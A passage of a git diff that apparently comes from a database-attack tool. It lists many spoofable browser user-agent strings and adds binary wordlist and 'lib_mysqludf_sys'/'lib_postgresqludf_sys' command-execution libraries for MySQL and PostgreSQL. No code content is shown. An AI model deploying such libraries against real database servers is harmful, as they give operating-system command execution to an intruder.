Firefox/115.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.33 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.7258.155 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/139 Version/11.1.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/139 Version/16.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15 Ddg/18.6 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.14 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.7 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15 Ddg/18.6 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15 Ddg/18.6 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 15_4 ADSSO) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Unique/97.7.7239.70 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 (Edition std-1) +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 (Edition std-2) +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 YaBrowser/25.6.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.7151.104 ADG/11.1.4905 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.92 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.93 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.96 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.97 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Avast/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 AVG/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 Herring/90.1.1459.6 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Norton/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 OpenWave/96.4.8983.84 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.7258.5 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.7339.16 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4482.0 Safari/537.36 Edg/92.0.874.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0 +Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 +Mozilla/5.0 (X11; CrOS x86_64 13904.97.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.167 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14816.131.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/116.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/28.0 Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0 +Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 +Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 +Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 +Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0 diff --git a/data/txt/wordlist.tx_ b/data/txt/wordlist.tx_ new file mode 100644 index 00000000000..f2b52c90658 Binary files /dev/null and b/data/txt/wordlist.tx_ differ diff --git a/udf/README.txt b/data/udf/README.txt similarity index 100% rename from udf/README.txt rename to data/udf/README.txt diff --git a/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ new file mode 100644 index 00000000000..b2abf47952c Binary files /dev/null and b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ differ diff --git a/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ new file mode 100644 index 00000000000..8332c552e66 Binary files /dev/null and b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ differ diff --git a/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ new file mode 100644 index 00000000000..ebd350ab320 Binary files /dev/null and b/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ differ diff --git a/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ new file mode 100644 index 00000000000..5b54d4f0360 Binary files /dev/null and b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ differ diff --git a/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..570c282651d Binary files /dev/null and b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..77a81cb9eff Binary files /dev/null and b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..1102fbe5a15 Binary files /dev/null and b/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ 